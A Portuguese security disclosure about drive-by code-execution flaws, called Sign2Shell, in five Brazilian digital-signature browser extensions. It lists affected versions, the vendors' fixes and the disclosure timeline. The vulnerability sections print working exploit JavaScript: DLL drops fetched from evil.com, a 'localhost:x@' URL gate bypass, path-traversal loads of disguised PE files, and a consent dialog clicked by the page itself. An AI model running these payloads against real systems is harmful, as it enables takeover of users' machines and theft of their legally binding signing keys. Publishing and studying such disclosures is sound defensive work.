Se você já assinou uma nota fiscal, uma petição ou uma receita no Brasil, é bem provável que tenha uma dessas extensões instalada. Descobrimos que as cinco mais instaladas, que juntas somam cerca de 10 milhões de instalações, deixavam qualquer site executar código no computador Windows do visitante. Chamamos essa classe de falha de Sign2Shell.
Resumo
Encontramos falhas de execução remota de código (RCE) do tipo drive-by, todas elas CVSS 3.1 9.6, nas cinco extensões de assinatura digital mais instaladas do Brasil: Lacuna Web PKI, Softplan Web Signer, Certisign WebSigner, Certisign CertiPlugin e BRy Assinatura Digital. Três vêm do mesmo motor white-label da Lacuna e duas são independentes. As cinco cometem o mesmo erro, deixam o site escolher qual DLL o programa nativo do fornecedor vai carregar. Carregar uma DLL executa o código dela, e o software feito para verificar assinaturas nunca verificava a assinatura do código que carregava e, no Web PKI e no WebSigner da Certisign, uma página ou um iframe malicioso, como um anúncio, já bastava, sem nenhum clique. No Web Signer da Softplan, bastava abrir um link. Na CertiPlugin e na BRy, bastava visitar a página, e a própria página baixava o arquivo malicioso automaticamente. Quatro foram corrigidas, e a CertiPlugin foi mitigada, mas não corrigida.
Estou vulnerável?
Os cinco fornecedores já publicaram atualizações. Quatro foram corrigidas e uma, a CertiPlugin, foi mitigada mas não corrigida. Confira a sua versão em chrome://extensions (ou edge://extensions, ou about:addons no Firefox) e atualize se ela for anterior à primeira versão corrigida abaixo.
| Extensão | Vulnerável | Primeira versão corrigida | Versão atual na publicação | Situação |
|---|---|---|---|---|
| Lacuna Web PKI | 2.17.5 e anteriores | 2.18.0 (21/07/2026) | 2.18.3 | Corrigida |
| Certisign WebSigner | 2.17.2 e anteriores | 2.18.0 (03/08/2026) | 2.18.0 | Corrigida |
| Softplan Web Signer | 2.17.1 e anteriores | 2.18.3 (27/08/2026) | 2.18.3 | Corrigida |
| BRy Assinatura Digital | 2.2.7 e anteriores | 2.2.8 (10/09/2026) | 2.3.0 | Corrigida |
| Certisign CertiPlugin | 1.15.0 e anteriores | nenhuma | 1.15.1 | Mitigada, não corrigida |
A versão 2.17.5 do Web PKI foi a primeira correção, parcial, da Lacuna, e continua vulnerável. A versão 1.15.1 da CertiPlugin restringe quais sites podem acessar a extensão, mas o carregamento de DLL por trás da falha continua igual. Versões e datas da Chrome Web Store.
Quem depende delas
Os fornecedores por trás dessas instalações listam entre seus clientes um dos tribunais superiores do Brasil, a bolsa de valores, a Marinha e muitos outros. O Senado Federal, por exemplo, tem um contrato com a Lacuna para a suíte de produtos que inclui o Web PKI. Veja a lista de clientes da Lacuna, os estudos de caso da Softplan e os principais clientes da BRy e da Certisign.
Há muitos nomes de peso aqui, e muitos lidam com dados muito sensíveis. Citamos esses clientes para mostrar quem compra desses fornecedores, e não para afirmar que algum deles foi comprometido.
Por que essas extensões existem
No Brasil, a assinatura digital é comum e regulada pelo ITI (Instituto Nacional de Tecnologia da Informação), a autoridade certificadora raiz da ICP-Brasil. Um documento assinado com um certificado ICP-Brasil se presume verdadeiro em relação ao signatário (MP 2.200-2/2001), assim como uma assinatura de próprio punho. Essas extensões de navegador são o intermediário entre os sites que precisam de documentos assinados e o certificado do usuário, em arquivo ou em hardware, usado para assinar esses documentos.
Mais de 11 milhões de certificados ICP-Brasil foram emitidos em 2025, e quase toda empresa no Brasil precisa de um para emitir notas fiscais (NF-e) e entregar declarações ao Fisco. Advogados assinam petições com eles, tabeliães assinam escrituras com eles, médicos assinam receitas com eles, e um único contador muitas vezes guarda os certificados de dezenas ou centenas de empresas clientes, todos no mesmo computador.
Certificados A1 são só um arquivo no seu computador, certificados A3 ficam em um token USB ou cartão criptográfico, e a chave privada não sai do hardware. O Brasil usava applets Java para acessar esses certificados, mas quando os navegadores acabaram com esse tipo de plugin, os fornecedores passaram a usar extensões de navegador acompanhadas de um programa nativo para fazer o trabalho.
Como essas extensões funcionam
Cada extensão é uma ponte. O site manda um pedido para a extensão, a extensão repassa esse pedido para um pequeno programa instalado no computador, chamado de programa nativo (native host), e esse programa acessa o certificado. O navegador mantém as páginas da web em uma sandbox. O programa nativo roda fora dela, como o usuário, então ele pode fazer coisas que uma página nunca poderia, inclusive carregar drivers (DLLs) de tokens e cartões. Quatro das cinco extensões deixavam qualquer site falar com elas, e a quinta (CertiPlugin) tinha uma lista de sites permitidos que aceitava qualquer domínio *.one, que qualquer pessoa pode comprar. Além disso, algumas delas ainda tinham barreiras extras que precisamos contornar.
A falha que todas compartilham: Sign2Shell
Todas essas extensões deixavam o site escolher qual DLL o programa nativo carrega. Carregar uma DLL executa o código dela, então o site que escolhe a DLL escolhe o código. Nenhuma das versões vulneráveis verificava assinaturas Authenticode, o caminho da DLL ou a extensão do arquivo, então um .png ou .pdf renomeado era carregado tão facilmente quanto um driver de verdade.
Quatro dos cinco content scripts são all_frames: true e aceitam qualquer URL, então nessas quatro o content script da extensão roda em todos os iframes de todos os sites, o que significa que um espaço de anúncio em uma página qualquer consegue chegar até ela.
| Extensão | Instalações | matches | Em iframes? | Silenciosa? |
|---|---|---|---|---|
| Lacuna Web PKI - Chrome - Edge | 5,46 mi | http://*/*, https://*/* | sim | sim |
| Softplan Web Signer - Chrome | 2,0 mi | http://*/*, https://*/* | não, link direto | sim |
| Certisign WebSigner - Chrome | 1,0 mi | http://*/*, https://*/* | sim | sim |
| Certisign CertiPlugin - Chrome | 0,9 mi | *.one + domínios do fornecedor (hoje *.sydle.one) | não, só no frame principal | não, exige um arquivo baixado |
| BRy Assinatura Digital - Chrome - Firefox | 0,82 mi | <all_urls> | sim, após a 1ª visita | não, exige um arquivo baixado |
| Total | ~10,18 mi |
Instalações somadas da Chrome Web Store, Edge Add-ons e Firefox Add-ons no momento em que escrevemos. A exploração exige Windows e o programa nativo do fornecedor, que esses sites pedem para o usuário instalar.
Cinco caminhos para o mesmo carregamento de DLL
Obviamente, deixar qualquer site escolher qual DLL quer carregar é um problema de segurança enorme, e em alguns casos não havia nenhuma barreira para impedir isso.
Lacuna Web PKI e Certisign WebSigner
O Lacuna Web PKI e o Certisign WebSigner são white-labels quase idênticos, o que facilitou muito o nosso trabalho. O Web PKI tem 5,46 milhões de instalações e o Certisign WebSigner tem 1 milhão. Por isso os dois se comportavam da mesma forma, e nenhum fazia um bom trabalho validando o que vinha dos sites e iframes com que o usuário interagia.
O content script da extensão roda em http://*/* e https://*/* e simplesmente repassa tudo o que uma página dispara para ele direto ao programa nativo. O background worker mantém um mapa de handlers de comandos "tipados" e um _default genérico que repassa ao programa nativo privilegiado, sem modificação, qualquer coisa que ele não reconhece:
var action = commands[request.command];
if (action === undefined) action = commands._default;
…
commands._default = function (rc) {
callNative(rc, rc.command, rc.request, …);
};
O ponto vulnerável é o comando listTokens, que recebe da página uma lista de caminhos de módulos PKCS#11 e carrega cada um para encontrar os pontos de entrada PKCS#11. Usando LoadLibrary, sem validação de caminho, sem verificação da extensão do arquivo, sem verificação Authenticode e sem lista de permitidos:
listTokens → Pkcs11TokenStore.Load(modulePath) → LoadLibraryEx(path, …)
O listTokens não exige licença, então roda a partir de qualquer origem, inclusive o nosso evil.com. A única questão que faltava era como colocar a nossa DLL no disco, e é aí que entra a segunda falha.
O mapa de handlers JS da extensão diferencia maiúsculas de minúsculas (é um objeto JS comum), mas o programa nativo despacha os comandos sem diferenciar (StringComparer.OrdinalIgnoreCase). Mandar DownloadToFolder com D maiúsculo não passa pelo handler JS tipado, que exigiria um id de pasta resolvido pelo servidor, e cai no _default até o DownloadToFolder nativo, que baixa uma URL do atacante para um caminho e nome de arquivo escolhidos pelo atacante.
O programa nativo nunca expande variáveis de ambiente, então os dois comandos recebem um caminho absoluto e literal. Usamos C:\Windows\Temp, que em uma instalação padrão um usuário comum consegue gravar e que é igual para todos, então a cadeia v1 não precisa do nome de usuário. Juntando tudo, o ataque inteiro são dois CustomEvents:
// Step 1 - drop the DLL. Case-flipped name bypasses the JS shim.
document.dispatchEvent(
new CustomEvent("com.lacunasoftware.WebPKI.RequestEvent", {
detail: {
requestId: "r1",
command: "DownloadToFolder",
request: {
url: "https://evil.com/evil.dll",
folderPath: "C:\\Windows\\Temp",
filename: "evil.dll",
},
},
}),
);
// Step 2 - load the DLL. No JS handler for listTokens; _default forwards it.
document.dispatchEvent(
new CustomEvent("com.lacunasoftware.WebPKI.RequestEvent", {
detail: {
requestId: "r2",
command: "listTokens",
request: {
pkcs11Modules: ["C:\\Windows\\Temp\\evil.dll"],
},
},
}),
);
O tempo total no Chrome, do carregamento da página até o DllMain, é de cerca de 1,3 segundo. Sem precisar de token.
Depois da correção: fazendo evil.com parecer localhost
A Lacuna respondeu em 30 minutos e publicou uma correção dois dias depois. A correção fechou a etapa do download, mas manteve o carregamento da DLL, então fomos atrás de outro caminho.
A correção (versão 2.17.5) fechou a parte do downloadToFolder: agora ela exige um id de pasta escolhido pelo usuário e bloqueia path traversal no nome do arquivo. O que ela não mexeu foi o caminho listTokens → LoadLibrary. O download nunca foi o ponto principal, o carregamento era, então só precisávamos de outra forma de colocar um arquivo no disco e de outra forma de saber o caminho absoluto dele.
Colocar o arquivo no disco ficou trivial: a página simplesmente baixa o payload da forma normal, para a pasta Downloads do usuário (a pasta padrão, sem nenhum aviso). Demos o nome de evil_v2.txt: o Chrome não sinaliza um download .txt como perigoso, e o LoadLibraryEx carrega qualquer PE válido, independentemente do nome ou da extensão.
O LoadLibraryEx não expande variáveis de ambiente, então precisávamos do caminho literal C:\Users\<nome>\Downloads\evil_v2.txt, o que significa que precisávamos do nome de usuário da vítima. O programa nativo vaza essa informação: o generateSoftwareRsaKeyPair devolve o Environment.UserName na resposta. Mas esse comando exige licença.
É isso que transforma o ataque em um drive-by sem clique de novo. A verificação de licença é dispensada para origens "locais", e a extensão descobre a origem aplicando uma expressão regular ao endereço da aba:
// event-page.js:462-463
var m = /\/\/([^\/:]*)/.exec(tabUrl);
domain = m[1].toLowerCase();
O grupo de captura [^\/:]* para no primeiro / ou :. Então, se levarmos a vítima até:
http://localhost:x@evil.com/index_v2.html
…a regex captura localhost: o : que encerra a captura é o que está dentro das credenciais user:pass@host da URL, e a verificação trata a página do atacante como localhost. O navegador carrega evil.com e a extensão acha que está falando com localhost. O Chrome esconde a parte username:password@ da barra de endereço para evitar phishing, então a vítima nunca vê essa parte, mas a extensão continua vendo.
Então a cadeia revivida, contra a versão corrigida, fica assim:
0. Victim opens http://localhost:x@evil.com/index_v2.html → gate bypassed
1. generateSoftwareRsaKeyPair { keySize:1024 } → leaks response.userName
2. page downloads payload → %USERPROFILE%\Downloads\evil_v2.txt
3. listTokens { pkcs11Modules:["C:\\Users\\<user>\\Downloads\\evil_v2.txt"] }
→ LoadLibraryEx → DllMain
Softplan Web Signer
O Web Signer da Softplan é outra distribuição, aparentemente mais antiga, do motor da Lacuna (o programa nativo é o Lacuna.WebPKI.ChromeWin.exe), então herdou o mesmo _default genérico e o mesmo caminho listTokens → LoadLibrary. Aqui os comandos vulneráveis exigiam licença, então precisamos do truque do localhost:x@ para chegar até eles.
Para a RCE funcionar, as credenciais localhost:x@ precisam sobreviver até o valor que a extensão lê. O Chrome atual remove credenciais embutidas na URL da maioria dos lugares, mas não de todos:
| Local | Credenciais embutidas |
|---|---|
| Barra de endereço / exibição | removidas |
location.href | removidas |
document.URL | mantidas |
chrome.tabs.Tab.url (= sender.tab.url) | mantidas |
A extensão tira a origem do sender.tab.url, que mantém as credenciais, então a regex vê localhost. Enquanto isso, a barra de endereço da vítima mostra só evil.com, porque as credenciais são removidas da exibição. Como a extensão lê a URL da aba inteira, a vítima precisa abrir o link, e um iframe não é suficiente.
Uma ressalva: uma página limpa que se redireciona para a URL com credenciais via JavaScript (location.href = …) não leva as credenciais junto no Chrome atual, já que a partir da versão M117 elas são removidas em navegações iniciadas por script. O que funciona é um link direto com as credenciais, um anúncio ou um redirecionamento 302 feito pelo servidor, em que o localhost:x@ fica no link e nunca em nada que a vítima veja.
Por trás dessa URL, a cadeia são os mesmos dois comandos da falha original da Lacuna, só que no namespace de eventos da Softplan:
// Served at http://localhost:x@evil.com/ → extension reads the origin as "localhost"
const REQ = "br.com.softplan.WebPKI.RequestEvent"; // same engine, Softplan's namespace
// 1. drop: case-flipped DownloadToFolder falls through _default to the native host
await send("DownloadToFolder", {
url: dllUrl,
folderPath: FOLDER,
filename: "payload.dll",
});
// 2. load: listTokens LoadLibrary's it → DllMain runs inside the signing host
await send("listTokens", { pkcs11Modules: [FOLDER + "\\payload.dll"] });
Certisign CertiPlugin
A CertiPlugin tem um código completamente separado da família Lacuna, com outro programa nativo (CertisignerHost.exe, um binário de 32 bits de 2018) e a mesma falha de fundo.
Ao contrário das extensões da Lacuna, a CertiPlugin restringe quais sites podem falar com ela. O content script dela só é injetado em uma pequena lista de origens permitidas. Na versão que testamos (1.15.0), essa lista era:
"matches": [
"https://*.certisign.com.br/*",
"https://*.certintra.com.br/*",
"http://*.certisign.com.br/*",
"http://*.certintra.com.br/*",
"https://*.one/*"
]
O https://*.one/* aceitava qualquer subdomínio de todo o domínio de topo .one. O .one é um TLD real, público e de registro aberto, e qualquer pessoa pode comprar um domínio .one por cerca de US$ 8 por ano. Depois do nosso relato, a Certisign restringiu isso para https://*.sydle.one/*. Isso é uma mitigação, não uma correção: o carregamento de DLL sem verificação descrito abaixo continua lá, então uma falha de cross-site scripting em qualquer site permitido reabriria o ataque.
Depois que o content script é injetado, ele escuta um evento genérico certisigner e o repassa sem modificação, contornando qualquer filtro por handler que os eventos nomeados pudessem ter:
document.addEventListener('certisigner', function(event) {
chrome.runtime.sendMessage(event.detail, ...);
});
O ponto vulnerável tem o mesmo formato de todos os outros. Para action: "listCertificates" com repository: "HARDWARE", o campo provider vai direto para o LoadLibraryW, e se ele não for um dos identificadores reconhecidos (PKCS11 / CAPI / REPO / CMS / RSA), é tratado como um caminho de módulo, sem lista de permitidos, sem verificação de extensão e sem verificação de assinatura. Quando o carregamento dá certo, o programa nativo ainda chama GetProcAddress(hMod, "C_Initialize") e executa essa função.
Para colocar a DLL no disco sem nenhum aviso de download, a página servia um PE de 32 bits disfarçado de cert_icon.png (o Chrome não avisa em um download .png), e apontava para ele com um caminho relativo ao diretório de trabalho. O Chrome define o diretório de trabalho de um programa nativo como a própria pasta de instalação dele, então ..\..\..\Downloads\cert_icon.png levava à pasta Downloads da vítima, independentemente do nome de usuário. Compre um domínio .one, coloque uma página no ar, e visitar essa página executava código. Como o arquivo chegava por um download normal e o script só rodava no frame principal, essa precisava de uma visita direta, e não de um iframe.
A página inteira do atacante se resume a duas funções:
function dropPayload() {
// 32-bit PE served as a .png
const a = document.createElement("a");
a.href = "/cert_icon.png";
a.download = "cert_icon.png";
document.body.appendChild(a);
a.click();
a.remove();
}
function fireLoad() {
document.dispatchEvent(
new CustomEvent("certisigner", {
detail: {
action: "listCertificates",
repository: "HARDWARE",
provider: "..\\..\\..\\Downloads\\cert_icon.png", // → LoadLibraryW
},
}),
);
}
addEventListener("load", () => {
dropPayload();
setTimeout(fireLoad, 800);
});
BRy Assinatura Digital no Navegador
A BRy é o outro fornecedor totalmente independente, com seu próprio programa nativo (BryNativeModule.exe). Ela chega ao mesmo LoadLibrary por outro caminho, e foi a única das cinco que tentou colocar uma janela de consentimento na frente do usuário, o que acabou não ajudando.
O ponto vulnerável fica escondido dentro do comando sign. O sign lê um campo certId, e se essa string tiver um {, o programa nativo a interpreta de novo como JSON e lê um modulePath de dentro dela. Um modulePath não vazio leva o sign para o caminho PKCS#11, cuja primeira operação é:
Pkcs11Module::Pkcs11Module:
hModule = LoadLibraryExA(modulePath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
Esse caminho é usado exatamente como vem, sem lista de permitidos, sem validação de caminho e sem verificação de assinatura, e é carregado antes de qualquer certificado ou token ser procurado, então não é preciso nenhum token ou chave de verdade.
A única coisa no caminho é uma janela de consentimento "Autorizo" por site. A BRy desenha essa janela com SweetAlert2 dentro do próprio DOM da página, o que significa que a página maliciosa consegue encontrar o botão e clicar nele sozinha:
// Zero-click consent: the "Autorizo" dialog is SweetAlert rendered into THIS
// page's DOM, so the page can click its own consent button.
function armConsent() {
new MutationObserver(() => {
for (const b of document.querySelectorAll("button"))
if (b.textContent.trim() === "Autorizo") b.click();
}).observe(document.body, { childList: true, subtree: true });
}
O consentimento também fica associado só ao nome do host, nunca expira e é compartilhado entre todos os frames, então uma única autorização dada pela própria origem do atacante é permanente e pode ser reutilizada a partir de qualquer iframe escondido.
O arquivo chega ao disco do mesmo jeito que na CertiPlugin: um download automático de um PE servido como evil.pdf (o Chrome não sinaliza), que vai parar na pasta Downloads. O Chrome define o diretório de trabalho do programa nativo como a pasta de instalação dele, exatamente quatro níveis abaixo do perfil do usuário, então modulePath = ..\..\..\..\Downloads\evil.pdf funciona para qualquer usuário, sem precisar do nome de usuário e sem SMB.
Depois, o caminho com traversal é contrabandeado para dentro do sign como um certId em JSON:
const modulePath = "..\\..\\..\\..\\Downloads\\evil.pdf";
const certId = JSON.stringify({ id: "x", keyId: "x", modulePath }); // { → re-parsed as JSON
// LoadLibraryExA runs in the Pkcs11Module ctor, before sign fails on the bogus key
await B.sign(certId, {
inputType: "hash",
keyInfo: { certId },
assinaturas: [{ hashes: ["00".repeat(32)], algoritmoHash: "SHA256" }],
});
A BRy tinha mais dois problemas no mesmo protocolo. O list_certificates não tem nenhuma barreira e entrega a qualquer site o CPF, o título de eleitor, o número da OAB e o RG contidos nos seus certificados. O export_certificate fica atrás da janela de consentimento, mas a janela só fala em "acesso aos seus certificados digitais" e nunca diz que a chave privada de um certificado A1 pode sair do dispositivo.
O que o atacante consegue
Toda cadeia termina com o código do atacante rodando como o usuário logado, dentro de um processo do fornecedor. A partir daí, o atacante pode fazer tudo o que esse usuário pode. Ele pode usar certificados A1 e as chaves privadas guardadas no computador, esperar um token A3 ser conectado e assinar com ele, ler arquivos locais ou instalar outros programas maliciosos.
O perfil de quem instala essas extensões piora a situação. Um único contador muitas vezes guarda certificados de dezenas ou centenas de empresas clientes no mesmo computador, e advogados, tabeliães e médicos assinam documentos com valor legal todos os dias. Uma assinatura feita com uma chave roubada tem presunção legal de veracidade.
Para o usuário, o ataque é uma página de aparência normal. Nada precisa da aprovação da vítima, e o código roda dentro de um programa que ela instalou de propósito e no qual foi orientada a confiar.
Linha do tempo da divulgação
A Lacuna respondeu muito rápido: levou 30 minutos para nos retornar depois que relatamos a primeira RCE e publicou uma correção em dois dias, embora ela não resolvesse o problema de fundo. A correção completa, versão 2.18.0, saiu 74 dias depois do nosso primeiro relato e antes da nossa palestra na DEF CON.
A Certisign nunca respondeu a nenhuma das nossas mensagens sobre os dois produtos. Mesmo assim, o WebSigner foi corrigido na versão 2.18.0, 65 dias depois do nosso relato. A lista de sites permitidos da CertiPlugin foi restringida a *.sydle.one, o que mitiga a falha mas não corrige o carregamento de DLL por trás dela.
Com a BRy e a Softplan foram necessárias muitas mensagens (a maioria ignorada), até que finalmente conseguimos falar com funcionários pelo LinkedIn, que corrigiram as falhas em cerca de 2 dias.
Todas as respostas poderiam ter sido melhores, embora a Softplan tenha adicionado depois um security.txt.
Também relatamos o caso ao CTIR Gov e ao CERT.br, as equipes nacionais de resposta a incidentes do Brasil, e ao Google. Até onde sabemos, nenhum deles entrou em contato com os fornecedores.
Não vimos nenhum sinal de que algum desses fornecedores tenha publicado alertas de segurança, e nenhum compartilhou um conosco. Não procuramos sinais de exploração, porque não temos estrutura para isso. Considerando o pouco esforço que esses ataques exigem, não podemos descartá-la.

O que isso significa
Anúncios já são um canal comprovado para entregar código sem nenhum clique, a Al Jazeera noticiou como anúncios comprados por meio da Discover-Tech foram usados para espionar dispositivos. Para um atacante, uma falha barata em uma extensão também é um payload muito mais atraente do que queimar um zero-day caro do Chrome.
Essas cinco extensões ficaram vulneráveis por anos, em um software que milhões de brasileiros foram orientados a instalar e a confiar. As correções não são difíceis, basta carregar DLLs só de uma lista fixa de permitidos, verificar a assinatura do arquivo e pegar a origem do navegador em vez de interpretar a URL na mão. Encontramos essas falhas porque o nosso sistema sinaliza extensões que repassam comandos de páginas para um programa nativo, e sabemos que existem outras por aí com problemas parecidos.
Todo o código dos exploits, as versões vulneráveis das extensões e os instaladores estão no nosso repositório Brazil-Signing-Vulnerabilities.
Por fim, aqui está um grafo das extensões relacionadas, muitas das quais foram atualizadas recentemente:

